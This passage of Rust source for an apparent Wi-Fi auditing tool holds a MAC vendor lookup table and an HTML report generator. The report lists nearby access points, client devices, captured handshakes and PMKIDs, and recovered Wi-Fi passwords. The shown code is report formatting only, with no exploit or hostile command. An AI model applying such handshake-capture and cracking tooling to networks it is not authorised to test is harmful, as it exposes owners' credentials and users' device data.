("80ea96", "Apple"),
("80fb06", "Huawei"),
("84119e", "Samsung"),
("8416f9", "TP-Link"),
("841888", "Ruckus"),
("841b5e", "Netgear"),
("8425db", "Samsung"),
("843835", "Apple"),
("843838", "Samsung"),
("84788b", "Apple"),
("848506", "Apple"),
("8489ad", "Apple"),
("848e0c", "Apple"),
("84a8e4", "Huawei"),
("84b153", "Apple"),
("84c9b2", "D-Link"),
("84d47e", "Aruba"),
("84f3eb", "Apple"),
("881544", "Meraki"),
("881908", "Apple"),
("881dfc", "Apple"),
("882593", "TP-Link"),
("8828b3", "Huawei"),
("88366c", "Samsung"),
("885395", "Apple"),
("8863df", "Apple"),
("8866a5", "Apple"),
("88c663", "Apple"),
("88cb87", "Apple"),
("88d7f6", "Asus"),
("88e87f", "Apple"),
("8c006d", "Apple"),
("8c210a", "TP-Link"),
("8c2937", "Apple"),
("8c2daa", "Apple"),
("8c34fd", "Huawei"),
("8c5877", "Apple"),
("8c7b9d", "Apple"),
("8c7c92", "Apple"),
("8c8590", "Apple"),
("8c89a5", "Asus"),
("8c8ef2", "Apple"),
("8cbebe", "D-Link"),
("8cfaba", "Apple"),
("9017ac", "Huawei"),
("9027e4", "Apple"),
("902b34", "Asus"),
("903c92", "Apple"),
("904ce5", "Aruba"),
("9060f1", "Apple"),
("907240", "Apple"),
("90840d", "Apple"),
("9094e4", "D-Link"),
("90b0ed", "Apple"),
("90b21f", "Apple"),
("90c1c6", "Apple"),
("90dd5d", "Apple"),
("90f652", "TP-Link"),
("90fd61", "Apple"),
("9401c2", "Samsung"),
("94049c", "Huawei"),
("940c6d", "TP-Link"),
("949426", "Apple"),
("94b34f", "Ruckus"),
("94b40f", "Aruba"),
("9801a7", "Apple"),
("98288e", "Apple"),
("9852b1", "Samsung"),
("985aeb", "Apple"),
("989e63", "Apple"),
("98b8e3", "Apple"),
("98d6bb", "Apple"),
("98dac4", "TP-Link"),
("98e0d9", "Apple"),
("98e7f5", "Huawei"),
("98f0ab", "Apple"),
("9c04eb", "Apple"),
("9c05d6", "Ubiquiti"),
("9c1c12", "Aruba"),
("9c207b", "Apple"),
("9c28ef", "Huawei"),
("9c35eb", "Apple"),
("9c3dcf", "Netgear"),
("9c4fda", "Apple"),
("9c5c8e", "Asus"),
("9c84bf", "Apple"),
("9ca2f4", "TP-Link"),
("9cd643", "D-Link"),
("9ce65e", "Apple"),
("9cf387", "Apple"),
("9cf48e", "Apple"),
("9cfc01", "Apple"),
("a00460", "Netgear"),
("a00bba", "Samsung"),
("a01d48", "Aruba"),
("a02195", "Samsung"),
("a040a0", "TP-Link"),
("a04c5b", "Ruckus"),
("a08cf8", "Huawei"),
("a0999b", "Apple"),
("a0ab1b", "D-Link"),
("a0d795", "Apple"),
("a0edcd", "Apple"),
("a0f3c1", "Asus"),
("a42b8c", "Netgear"),
("a42bb0", "TP-Link"),
("a45e60", "Apple"),
("a46706", "Apple"),
("a483e7", "Apple"),
("a49947", "Huawei"),
("a4b197", "Apple"),
("a4c361", "Apple"),
("a4d18c", "Apple"),
("a4d1d2", "Apple"),
("a4f1e8", "Apple"),
("a80600", "Samsung"),
("a82066", "Apple"),
("a851ab", "Apple"),
("a8574e", "TP-Link"),
("a85840", "Ruckus"),
("a85b78", "Apple"),
("a8667f", "Apple"),
("a88808", "Apple"),
("a88e24", "Apple"),
("a8968a", "Apple"),
("a8bbcf", "Apple"),
("a8bd27", "Aruba"),
("a8be27", "Apple"),
("a8c885", "Apple"),
("a8d0e5", "Apple"),
("a8e2c1", "Apple"),
("a8f5e1", "Apple"),
("ac220b", "Asus"),
("ac293a", "Apple"),
("ac3613", "Samsung"),
("ac3c0b", "Apple"),
("ac5a14", "Ruckus"),
("ac61ea", "Apple"),
("ac84c6", "TP-Link"),
("ac87a3", "Apple"),
("ac9e17", "Asus"),
("acbc32", "Apple"),
("accf5c", "Apple"),
("acd1b8", "Apple"),
("ace215", "Huawei"),
("ace4b5", "Apple"),
("acf1df", "Apple"),
("b03495", "Apple"),
("b03956", "Netgear"),
("b04e26", "TP-Link"),
("b05b67", "Huawei"),
("b065bd", "Apple"),
("b06ebf", "Asus"),
("b0702d", "Apple"),
("b072bf", "Samsung"),
("b07fb9", "Netgear"),
("b09fba", "Apple"),
("b0b98a", "Netgear"),
("b0be76", "TP-Link"),
("b0c554", "D-Link"),
("b0ca68", "Apple"),
("b0d09c", "Apple"),
("b0df3a", "Samsung"),
("b41513", "Huawei"),
("b418d1", "Apple"),
("b43a28", "Samsung"),
("b44bd2", "Apple"),
("b45d50", "Aruba"),
("b4750e", "Netgear"),
("b479a7", "Ruckus"),
("b48b19", "Apple"),
("b49cdf", "Apple"),
("b4ae2b", "Asus"),
("b4b024", "TP-Link"),
("b4f0ab", "Apple"),
("b4fbe4", "Ubiquiti"),
("b808d7", "Huawei"),
("b8098a", "Apple"),
("b817c2", "Apple"),
("b841a4", "Apple"),
("b844d9", "Apple"),
("b853ac", "Apple"),
("b85d0a", "Apple"),
("b85e7b", "Samsung"),
("b8634d", "Apple"),
("b8782e", "Apple"),
("b88d12", "Apple"),
("b89f09", "Apple"),
("b8a386", "D-Link"),
("b8aeed", "Asus"),
("b8c111", "Apple"),
("b8c75d", "Apple"),
("b8e856", "Apple"),
("b8f6b1", "Apple"),
("b8f883", "TP-Link"),
("b8ff61", "Apple"),
("bc1485", "Samsung"),
("bc20a4", "Samsung"),
("bc2228", "D-Link"),
("bc25e0", "Huawei"),
("bc3baf", "Apple"),
("bc4699", "TP-Link"),
("bc4cc4", "Apple"),
("bc52b7", "Apple"),
("bc5436", "Apple"),
("bc6778", "Apple"),
("bc6c21", "Apple"),
("bc8d0f", "Ruckus"),
("bc926b", "Apple"),
("bc9fe4", "Aruba"),
("bc9fef", "Apple"),
("bca511", "Netgear"),
("bca920", "Apple"),
("bcaec5", "Asus"),
("bcec5d", "Apple"),
("bcee7b", "Asus"),
("c025e9", "TP-Link"),
("c03f0e", "Netgear"),
("c04a00", "TP-Link"),
("c06394", "Apple"),
("c07009", "Huawei"),
("c0847a", "Apple"),
("c08ade", "Aruba"),
("c09f42", "Apple"),
("c0a0bb", "D-Link"),
("c0a53e", "Apple"),
("c0bdd1", "Samsung"),
("c0cecd", "Apple"),
("c0d012", "Apple"),
("c0f2fb", "Apple"),
("c0ffd4", "Netgear"),
("c4017c", "Ruckus"),
("c40415", "Netgear"),
("c40528", "Huawei"),
("c42c03", "Apple"),
("c43dc7", "Netgear"),
("c4576e", "Samsung"),
("c46e1f", "TP-Link"),
("c47154", "Aruba"),
("c4a81d", "D-Link"),
("c4b301", "Apple"),
("c4e984", "TP-Link"),
("c80e14", "TP-Link"),
("c819f7", "Samsung"),
("c82a14", "Apple"),
("c83a35", "Netgear"),
("c86000", "Asus"),
("c869cd", "Apple"),
("c86f1d", "Apple"),
("c88550", "Apple"),
("c894bb", "Huawei"),
("c8b5ad", "Ruckus"),
("c8b5b7", "Apple"),
("c8bcc8", "Apple"),
("c8be19", "D-Link"),
("c8d083", "Apple"),
("c8e0eb", "Apple"),
("c8f650", "Apple"),
("cc07ab", "Samsung"),
("cc088d", "Apple"),
("cc20e8", "Apple"),
("cc25ef", "Apple"),
("cc29f5", "Apple"),
("cc2d1b", "Asus"),
("cc2de0", "MikroTik"),
("cc32e5", "TP-Link"),
("cc3e5f", "Ruckus"),
("cc40d0", "Netgear"),
("cc4463", "Apple"),
("cc53b5", "Huawei"),
("cc785f", "Apple"),
("ccb255", "D-Link"),
("ccc760", "Apple"),
("d017c2", "Asus"),
("d021f9", "Ubiquiti"),
("d022be", "Samsung"),
("d023db", "Apple"),
("d02598", "Apple"),
("d02db3", "Huawei"),
("d03311", "Apple"),
("d04f7e", "Apple"),
("d05afd", "Aruba"),
("d0667b", "Samsung"),
("d07e28", "TP-Link"),
("d0817a", "Apple"),
("d0a637", "Apple"),
("d0c5f3", "Apple"),
("d0d2b0", "Apple"),
("d0e140", "Apple"),
("d45d64", "Asus"),
("d4619d", "Apple"),
("d468ba", "Ruckus"),
("d46e0e", "TP-Link"),
("d46e5c", "Huawei"),
("d487d8", "Samsung"),
("d49a20", "Apple"),
("d4ca6d", "MikroTik"),
("d4d2d6", "Apple"),
("d4f46f", "Apple"),
("d80d17", "TP-Link"),
("d81d72", "Apple"),
("d83062", "Apple"),
("d838fc", "Ruckus"),
("d84732", "TP-Link"),
("d8490b", "Huawei"),
("d850e6", "Asus"),
("d857ef", "Samsung"),
("d89695", "Apple"),
("d89e3f", "Apple"),
("d8a25e", "Apple"),
("d8bb2c", "Apple"),
("d8c7c8", "Aruba"),
("d8cf9c", "Apple"),
("d8d1cb", "Apple"),
("d8fee3", "D-Link"),
("dc0c5c", "Apple"),
("dc2b2a", "Apple"),
("dc2c6e", "MikroTik"),
("dc3714", "Apple"),
("dc415f", "Apple"),
("dc7144", "Samsung"),
("dc7412", "Ruckus"),
("dc86d8", "Apple"),
("dc9b9c", "Apple"),
("dc9fdb", "TP-Link"),
("dca4ca", "Apple"),
("dca904", "Apple"),
("dcb808", "Apple"),
("dcd2fc", "Huawei"),
("dcda4f", "D-Link"),
("dcef09", "Netgear"),
("e005c5", "TP-Link"),
("e0107f", "Ruckus"),
("e0247f", "Huawei"),
("e03f49", "Asus"),
("e0469a", "Netgear"),
("e0553d", "Meraki"),
("e05f45", "Apple"),
("e063da", "Ubiquiti"),
("e06678", "Apple"),
("e091f5", "Netgear"),
("e0b52d", "Apple"),
("e0b9ba", "Apple"),
("e0c767", "Apple"),
("e0c97a", "Apple"),
("e0cb4e", "Asus"),
("e0d9e3", "Apple"),
("e0f5c6", "Apple"),
("e0f847", "Apple"),
("e4121d", "Samsung"),
("e425e7", "Apple"),
("e42b34", "Apple"),
("e450eb", "Apple"),
("e458b8", "Samsung"),
("e468a3", "Huawei"),
("e46f13", "D-Link"),
("e470b8", "Asus"),
("e47cf9", "Samsung"),
("e48b7f", "Apple"),
("e48d8c", "MikroTik"),
("e49a79", "Apple"),
("e4b318", "Apple"),
("e4c32a", "TP-Link"),
("e4c63d", "Apple"),
("e4ce8f", "Apple"),
("e4e4ab", "Apple"),
("e4f4c6", "Netgear"),
("e8039a", "Samsung"),
("e8040b", "Apple"),
("e80688", "Apple"),
("e8088b", "Huawei"),
("e8102f", "Ruckus"),
("e82689", "Apple"),
("e82a44", "Apple"),
("e848b8", "TP-Link"),
("e8553d", "Meraki"),
("e86d52", "Aruba"),
("e8802e", "Apple"),
("e88d28", "Apple"),
("e89c25", "Asus"),
("e8b2ac", "Apple"),
("e8cc18", "D-Link"),
("e8de27", "TP-Link"),
("e8fcaf", "Netgear"),
("ec086b", "TP-Link"),
("ec172f", "TP-Link"),
("ec1f72", "Samsung"),
("ec2280", "D-Link"),
("ec233d", "Huawei"),
("ec3586", "Apple"),
("ec852f", "Apple"),
("ec8eb5", "Aruba"),
("ec9bf3", "Asus"),
("f01898", "Apple"),
("f01cfc", "Apple"),
("f025b7", "Samsung"),
("f02f74", "Asus"),
("f03e90", "Ruckus"),
("f04347", "Huawei"),
("f05c19", "Aruba"),
("f07960", "Apple"),
("f07d68", "D-Link"),
("f0989d", "Apple"),
("f09fc2", "TP-Link"),
("f0b0e7", "Apple"),
("f0c1f1", "Apple"),
("f0cba1", "Apple"),
("f0d1a9", "Apple"),
("f0dbe2", "Apple"),
("f0dce2", "Apple"),
("f0f61c", "Apple"),
("f437b7", "Apple"),
("f4559c", "Huawei"),
("f45c89", "Apple"),
("f45fd4", "Apple"),
("f46d04", "Asus"),
("f483cd", "TP-Link"),
("f49f54", "Samsung"),
("f4e2c6", "Ubiquiti"),
("f4ec38", "TP-Link"),
("f4f15a", "Apple"),
("f4f5d8", "Google"),
("f4f951", "Apple"),
("f80113", "Huawei"),
("f81edf", "Apple"),
("f82793", "Apple"),
("f832e4", "Asus"),
("f83880", "Apple"),
("f86fc1", "Apple"),
("f87394", "Netgear"),
("f8ffc2", "Apple"),
("fc0013", "Samsung"),
("fc253f", "Apple"),
("fc3497", "Asus"),
("fc48ef", "Huawei"),
("fc7516", "D-Link"),
("fc7c02", "TP-Link"),
("fca13e", "Samsung"),
("fcc734", "Samsung"),
("fcd848", "Apple"),
("fce998", "Apple"),
("fcecda", "Ubiquiti"),
("fcfc48", "Apple"),
];
pub fn vendor(mac: &str) -> Option<&'static str> {
let hex: String = mac
.chars()
.filter(|c| c.is_ascii_hexdigit())
.take(6)
.collect::<String>()
.to_ascii_lowercase();
if hex.len() < 6 {
return None;
}
OUIS.iter()
.find(|(prefix, _)| *prefix == hex)
.map(|(_, name)| *name)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn finds_common_vendors() {
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
assert_eq!(vendor("nope"), None);
}
#[test]
fn prefixes_are_normalized() {
for (prefix, _) in OUIS {
assert_eq!(prefix.len(), 6, "{prefix}");
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
}
}
}
+811
View File
@@ -0,0 +1,811 @@
//! Relatório de auditoria em HTML paginado com Paged.js.
//!
//! O mesmo modelo alimenta a pré-visualização na interface e o arquivo
//! standalone. A paginação é feita no navegador (A4, margens, cabeçalho e
//! rodapé), então o PDF sai pelo diálogo de impressão sem depender de
//! Chromium no servidor.
use crate::analysis::Analysis;
use crate::audit::AuditEntry;
use crate::handshake::HandshakeInfo;
use crate::scan::{AccessPoint, Client, ScanStats};
use serde::Serialize;
#[derive(Debug, Clone, Serialize)]
pub struct ReportModel {
pub title: String,
pub version: String,
pub iface: String,
pub running: bool,
pub generated_unix: u64,
pub stats: ScanStats,
pub access_points: Vec<AccessPoint>,
pub clients: Vec<Client>,
pub handshakes: Vec<HandshakeInfo>,
pub analysis: Analysis,
pub audit: Vec<AuditEntry>,
}
#[derive(Debug, Clone, Copy, Default)]
pub struct ReportOptions {
/// Troca o `<script src>` por um marcador para o servidor embutir o
/// polyfill e gerar um HTML que funciona offline.
pub inline_pagedjs: bool,
}
const PAGED_MARKER: &str = "<!--SABIA_PAGEDJS-->";
const LOGO_PNG: &[u8] = include_bytes!("../../../apps/gui/ui/sabia.png");
const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// Embute o logo como `data:` URI — sem isso o relatório standalone (modo
/// offline, pensado pra abrir sem servidor nenhum) teria um `<img
/// src="/sabia.png">` que nunca resolve fora do `sabia ui`. Pequeno o
/// bastante (poucos KB) pra não valer a pena puxar uma crate de base64 só
/// por isso.
fn base64(bytes: &[u8]) -> String {
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
for chunk in bytes.chunks(3) {
let b0 = chunk[0];
let b1 = chunk.get(1).copied();
let b2 = chunk.get(2).copied();
out.push(B64[(b0 >> 2) as usize] as char);
out.push(B64[(((b0 & 0b11) << 4) | (b1.unwrap_or(0) >> 4)) as usize] as char);
out.push(match b1 {
Some(b1) => B64[(((b1 & 0b1111) << 2) | (b2.unwrap_or(0) >> 6)) as usize] as char,
None => '=',
});
out.push(match b2 {
Some(b2) => B64[(b2 & 0b111111) as usize] as char,
None => '=',
});
}
out
}
fn esc(value: &str) -> String {
value
.replace('&', "&amp;")
.replace('<', "&lt;")
.replace('>', "&gt;")
.replace('"', "&quot;")
.replace('\'', "&#39;")
}
fn civil_from_days(z: i64) -> (i64, u32, u32) {
let z = z + 719468;
let era = if z >= 0 { z } else { z - 146096 } / 146097;
let doe = (z - era * 146097) as u64;
let yoe = (doe - doe / 1460 + doe / 36524 - doe / 146096) / 365;
let y = yoe as i64 + era * 400;
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
let mp = (5 * doy + 2) / 153;
let d = (doy - (153 * mp + 2) / 5 + 1) as u32;
let m = if mp < 10 { mp + 3 } else { mp - 9 } as u32;
(if m <= 2 { y + 1 } else { y }, m, d)
}
pub fn format_unix(ts: u64) -> String {
if ts == 0 {
return "—".into();
}
let days = (ts / 86_400) as i64;
let secs = ts % 86_400;
let (y, m, d) = civil_from_days(days);
format!(
"{d:02}/{m:02}/{y} {:02}:{:02} UTC",
secs / 3600,
(secs % 3600) / 60
)
}
fn severity_label(severity: &str) -> &'static str {
match severity {
"bad" => "crítico",
"warn" => "atenção",
_ => "informativo",
}
}
fn stat_card(value: impl std::fmt::Display, label: &str, variant: &str) -> String {
format!(
"<div class=\"stat{}\"><span class=\"l\">{}</span><strong>{}</strong></div>",
if variant.is_empty() {
String::new()
} else {
format!(" v-{variant}")
},
esc(label),
esc(&value.to_string()),
)
}
fn findings_html(model: &ReportModel) -> String {
if model.analysis.findings.is_empty() {
return "<p class=\"muted\">Nenhum achado relevante nas regras atuais.</p>".into();
}
let cards = model
.analysis
.findings
.iter()
.map(|f| {
let scope = match (&f.ssid, &f.bssid) {
(Some(ssid), Some(bssid)) => format!("{ssid} · {bssid}"),
(Some(ssid), None) => ssid.clone(),
(None, Some(bssid)) => bssid.clone(),
_ => "—".into(),
};
format!(
"<article class=\"finding finding-{}\"><header><span class=\"tag tag-{}\">{}</span><h3>{}</h3></header><p>{}</p><div class=\"scope mono\">{}</div></article>",
esc(&f.severity),
esc(&f.severity),
severity_label(&f.severity),
esc(&f.title),
esc(&f.detail),
esc(&scope),
)
})
.collect::<Vec<_>>()
.join("");
format!("<div class=\"findings\">{cards}</div>")
}
fn channels_html(model: &ReportModel) -> String {
if model.analysis.bands.is_empty() {
return "<p class=\"muted\">Nenhum AP com canal identificado.</p>".into();
}
model
.analysis
.bands
.iter()
.map(|band| {
let max = band
.candidates
.iter()
.map(|c| c.score)
.fold(0.0f32, f32::max)
.max(0.01);
let rows = band
.candidates
.iter()
.map(|c| {
let width = (c.score / max * 100.0).clamp(2.0, 100.0);
let best = band.recommended == Some(c.channel);
format!(
"<div class=\"chan-row{} diff-{}\"><span class=\"chan-n mono\">{}{}</span><span class=\"chan-bar\"><i class=\"diff-{}\" style=\"width:{width:.1}%\"></i></span><span class=\"chan-score\">{:.2}</span><span class=\"chan-aps\">{} AP(s){} </span></div>",
if best { " chan-best" } else { "" },
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
c.channel,
if c.dfs { "<span class=\"mini-tag\">DFS</span>" } else { "" },
if c.score < 0.5 { "low" } else if c.score < 1.5 { "mid" } else { "high" },
c.score,
c.aps,
if best { " · recomendado" } else { "" },
)
})
.collect::<Vec<_>>()
.join("");
format!(
"<section class=\"band\"><header><h3>{}</h3><span class=\"muted\">canal recomendado: {}</span></header>{}</section>",
esc(&band.band),
band.recommended
.map(|c| c.to_string())
.unwrap_or_else(|| "—".into()),
rows
)
})
.collect::<Vec<_>>()
.join("")
}
fn aps_html(model: &ReportModel) -> String {
if model.access_points.is_empty() {
return "<p class=\"muted\">Nenhum AP capturado.</p>".into();
}
let rows = model
.access_points
.iter()
.map(|ap| {
format!(
"<tr><td class=\"strong\">{}</td><td class=\"mono\">{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td></tr>",
esc(ap.ssid.as_deref().filter(|s| !s.is_empty()).unwrap_or("(oculta)")),
esc(&ap.bssid),
ap.channel.map(|c| c.to_string()).unwrap_or_else(|| "—".into()),
esc(ap.security.as_deref().unwrap_or("—")),
esc(ap.cipher.as_deref().unwrap_or("—")),
if ap.pmf_required { "exigido" } else if ap.pmf { "sim" } else { "não" },
if ap.wps { if ap.wps_locked == Some(true) { "travado" } else { "ativo" } } else { "—" },
ap.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
ap.clients.len(),
)
})
.collect::<Vec<_>>()
.join("");
format!(
"<table><thead><tr><th>SSID</th><th>BSSID</th><th>Canal</th><th>Segurança</th><th>Cifra</th><th>PMF</th><th>WPS</th><th>Sinal</th><th>Clientes</th></tr></thead><tbody>{rows}</tbody></table>"
)
}
fn clients_html(model: &ReportModel) -> String {
if model.clients.is_empty() {
return "<p class=\"muted\">Nenhum cliente capturado.</p>".into();
}
let rows = model
.clients
.iter()
.take(120)
.map(|c| {
format!(
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"num\">{}</td><td class=\"num\">{}</td><td>{}</td><td>{}</td></tr>",
esc(&c.mac),
esc(c.vendor.as_deref().unwrap_or("—")),
esc(c.bssid.as_deref().unwrap_or("—")),
c.signal_dbm.map(|s| s.to_string()).unwrap_or_else(|| "—".into()),
c.packets,
if c.associated { "sim" } else { "não" },
esc(&c.probes.join(", ")),
)
})
.collect::<Vec<_>>()
.join("");
format!(
"<table><thead><tr><th>MAC</th><th>Fabricante</th><th>BSSID</th><th>Sinal</th><th>Pacotes</th><th>Associado</th><th>Probes</th></tr></thead><tbody>{rows}</tbody></table>"
)
}
fn handshakes_html(model: &ReportModel) -> String {
if model.handshakes.is_empty() {
return "<p class=\"muted\">Nenhum handshake ou PMKID capturado.</p>".into();
}
let rows = model
.handshakes
.iter()
.map(|h| {
format!(
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td>{}</td><td>{}</td><td>{}</td></tr>",
esc(&h.station),
esc(h.ssid.as_deref().unwrap_or("—")),
esc(h.kind.as_str()),
esc(&h.messages),
if h.pmkid.is_some() { "PMKID" } else if h.crackable { "sim" } else { "não" },
esc(h.password.as_deref().unwrap_or("—")),
)
})
.collect::<Vec<_>>()
.join("");
format!(
"<table><thead><tr><th>Estação</th><th>SSID</th><th>Tipo</th><th>Mensagens</th><th>Quebrável</th><th>Senha</th></tr></thead><tbody>{rows}</tbody></table>"
)
}
fn wpa3_html(model: &ReportModel) -> String {
if model.analysis.wpa3.is_empty() {
return "<p class=\"muted\">Nenhuma rede WPA3 observada.</p>".into();
}
model
.analysis
.wpa3
.iter()
.map(|w| {
let notes = if w.notes.is_empty() {
"<li>Nenhuma observação adicional.</li>".to_string()
} else {
w.notes
.iter()
.map(|n| format!("<li>{}</li>", esc(n)))
.collect::<Vec<_>>()
.join("")
};
format!(
"<article class=\"wpa3\"><header><strong>{}</strong><span class=\"mono\">{}</span><span class=\"tag tag-info\">{}</span></header><p>PMF: {} · obrigatório: {} · transição: {}</p><ul>{}</ul></article>",
esc(w.ssid.as_deref().unwrap_or("(oculta)")),
esc(&w.bssid),
esc(&w.mode),
if w.pmf { "sim" } else { "não" },
if w.pmf_required { "sim" } else { "não" },
if w.transition { "sim" } else { "não" },
notes
)
})
.collect::<Vec<_>>()
.join("")
}
fn audit_html(model: &ReportModel) -> String {
if model.audit.is_empty() {
return "<p class=\"muted\">Trilha de auditoria vazia.</p>".into();
}
let rows = model
.audit
.iter()
.take(60)
.map(|e| {
let detail = if e.detail.chars().count() > 140 {
format!("{}…", e.detail.chars().take(140).collect::<String>())
} else {
e.detail.clone()
};
format!(
"<tr><td class=\"mono\">{}</td><td>{}</td><td class=\"mono\">{}</td><td class=\"mono small\">{}</td><td class=\"mono small\">{}</td></tr>",
esc(&e.timestamp),
esc(&e.action),
esc(&e.target),
esc(&detail),
esc(&e.hash[..12.min(e.hash.len())]),
)
})
.collect::<Vec<_>>()
.join("");
format!(
"<table class=\"compact\"><thead><tr><th>Quando</th><th>Ação</th><th>Alvo</th><th>Detalhe</th><th>Hash</th></tr></thead><tbody>{rows}</tbody></table>"
)
}
const CSS: &str = r#"
:root {
--ink: #17211a;
--muted: #5b6760;
--faint: #838f87;
--line: #d8dfdb;
--soft: #f3f6f3;
--accent: #92400e;
--accent-soft: #fbe9d9;
--deep: #241705;
--deep2: #140d02;
--signal: #0e7490;
--signal-soft: #d9f0f3;
--bad: #b3261e;
--bad-soft: #fbe4e2;
--warn: #92400e;
--warn-soft: #fbe9d9;
--info: #0e7490;
--info-soft: #d9f0f3;
--display: "Source Serif 4", Georgia, serif;
--body: "Inter", "Segoe UI", system-ui, sans-serif;
--mono: "JetBrains Mono", "SFMono-Regular", Consolas, monospace;
}
* { box-sizing: border-box; }
html, body { margin: 0; padding: 0; }
body {
font-family: var(--body);
color: var(--ink);
font-size: 10.5pt;
line-height: 1.55;
background: #dfe4e1;
font-variant-numeric: tabular-nums;
}
.report { background: #fff; }
h1, h2, h3 { font-family: var(--display); line-height: 1.15; margin: 0; }
h2 { font-size: 18pt; letter-spacing: -0.01em; margin: 0 0 1mm; color: var(--deep); break-after: avoid; string-set: section content(); }
h2::before { content: ""; display: block; width: 9mm; height: 1mm; background: var(--accent); margin-bottom: 3mm; border-radius: 1mm; }
h3 { font-size: 12.5pt; margin: 0 0 6pt; break-after: avoid; color: var(--deep); }
p { margin: 0 0 8pt; }
.mono { font-family: var(--mono); font-size: 8.8pt; }
.muted { color: var(--muted); }
.small { font-size: 8.2pt; }
.strong { font-weight: 600; }
.num { text-align: right; font-variant-numeric: tabular-nums; }
.eyebrow { font-family: var(--mono); font-size: 8pt; letter-spacing: .14em; text-transform: uppercase; color: var(--accent); font-weight: 700; margin: 0 0 3mm; }
.desc { color: var(--muted); font-size: 9.6pt; margin: 0 0 5mm; max-width: 150mm; }
section.chapter { margin: 0 0 9mm; break-before: page; }
section.chapter:first-of-type { break-before: avoid; }
/* ---------- cover ---------- */
.cover {
page: cover;
height: 297mm; width: 210mm; margin: 0;
display: flex; flex-direction: column; justify-content: space-between;
padding: 22mm 18mm; break-after: page; position: relative; overflow: hidden;
background: radial-gradient(120% 120% at 100% 0%, #3a2409 0%, var(--deep) 45%, var(--deep2) 100%);
color: #fff;
}
.cover .top { display: flex; justify-content: space-between; align-items: flex-start; }
.cover .brand { display: flex; align-items: center; gap: 3mm; }
.cover .brand img { width: 11mm; height: 11mm; border-radius: 3mm; display: block; }
.cover .brand span { font-family: var(--display); font-size: 14pt; font-weight: 700; letter-spacing: -0.01em; }
.cover .badge { font: 700 8pt var(--mono); letter-spacing: .14em; text-transform: uppercase; color: #ffd38a; border: 1px solid #a66a2e; background: rgba(255,211,138,.08); padding: 2.5mm 4mm; border-radius: 1mm; white-space: nowrap; }
.cover .mid { margin-top: auto; }
.cover .eyebrow { color: #ffb963; margin-bottom: 4mm; }
.cover h1 { font-size: 40pt; letter-spacing: -0.02em; max-width: 150mm; color: #fff; margin-bottom: 6mm; }
.cover .lead { max-width: 125mm; font-size: 12.5pt; color: #e7d9c4; line-height: 1.6; }
.cover .meta { display: grid; grid-template-columns: repeat(4, 1fr); gap: 6mm; margin-top: 16mm; padding-top: 6mm; border-top: 1px solid rgba(255,255,255,.18); }
.cover .meta dt { font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .12em; color: #c9b599; margin-bottom: 1.5mm; }
.cover .meta dd { margin: 0; font-size: 10.5pt; color: #fff; }
.cover .foot { font-size: 8.3pt; color: #c9b599; margin-top: 10mm; max-width: 150mm; }
/* ---------- table of contents ---------- */
.toc { break-after: page; }
.toc h2::before { display: none; }
.toc ol { list-style: none; margin: 7mm 0 0; padding: 0; }
.toc a { display: flex; align-items: baseline; gap: 3mm; color: var(--ink); text-decoration: none; padding: 2.8mm 0; border-bottom: .5pt solid var(--line); font: 500 11pt var(--body); }
.toc a::after { content: target-counter(attr(href), page); font: 700 10pt var(--mono); color: var(--accent); margin-left: auto; }
.toc .n { font: 700 9.5pt var(--mono); color: var(--faint); width: 8mm; flex: none; }
/* ---------- kpis ---------- */
.stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 4mm; margin: 0 0 7mm; }
.stat { border-top: 1mm solid var(--accent); background: var(--soft); padding: 4mm 4.5mm 4.5mm; break-inside: avoid; }
.stat.v-bad { border-top-color: var(--bad); }
.stat.v-warn { border-top-color: var(--warn); }
.stat.v-ok { border-top-color: #1a7f37; }
.stat .l { display: block; font: 500 7.3pt var(--mono); letter-spacing: .1em; text-transform: uppercase; color: var(--muted); margin-bottom: 2mm; }
.stat strong { display: block; font-family: var(--display); font-size: 25pt; line-height: 1; letter-spacing: -0.01em; color: var(--deep); }
.stat.v-bad strong { color: var(--bad); } .stat.v-warn strong { color: var(--warn); }
/* ---------- findings ---------- */
.findings { display: grid; grid-template-columns: 1fr 1fr; gap: 4mm; }
.finding { border: 1px solid var(--line); border-left: 1mm solid var(--info); padding: 4mm 4.5mm; break-inside: avoid; background: #fff; }
.finding-bad { border-left-color: var(--bad); }
.finding-warn { border-left-color: var(--warn); }
.finding header { display: flex; align-items: center; gap: 3mm; margin-bottom: 2mm; }
.finding h3 { margin: 0; font-size: 11pt; }
.finding p { font-size: 9.3pt; color: #36443e; }
.finding .scope { color: var(--muted); font-size: 8pt; }
.tag { display: inline-block; border-radius: 1mm; padding: 1mm 2.3mm; font: 700 7.3pt var(--mono); text-transform: uppercase; letter-spacing: .08em; background: #e8ecea; color: #47544e; }
.tag-bad { background: var(--bad-soft); color: var(--bad); }
.tag-warn { background: var(--warn-soft); color: var(--warn); }
.tag-info { background: var(--info-soft); color: var(--info); }
/* ---------- tables ---------- */
table { width: 100%; border-collapse: collapse; margin: 0 0 6mm; font-size: 8.8pt; }
thead { display: table-header-group; }
th { text-align: left; font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .09em; color: var(--muted); border-bottom: 1.3pt solid var(--ink); padding: 2.2mm 2.3mm; vertical-align: bottom; }
td { border-bottom: .5pt solid var(--line); padding: 1.9mm 2.3mm; vertical-align: top; overflow-wrap: anywhere; }
tbody tr { break-inside: avoid; }
tbody tr:nth-child(even) td { background: #f7f9f7; }
.band { margin: 0 0 7mm; break-inside: avoid; }
.band header { display: flex; justify-content: space-between; align-items: baseline; margin-bottom: 3mm; }
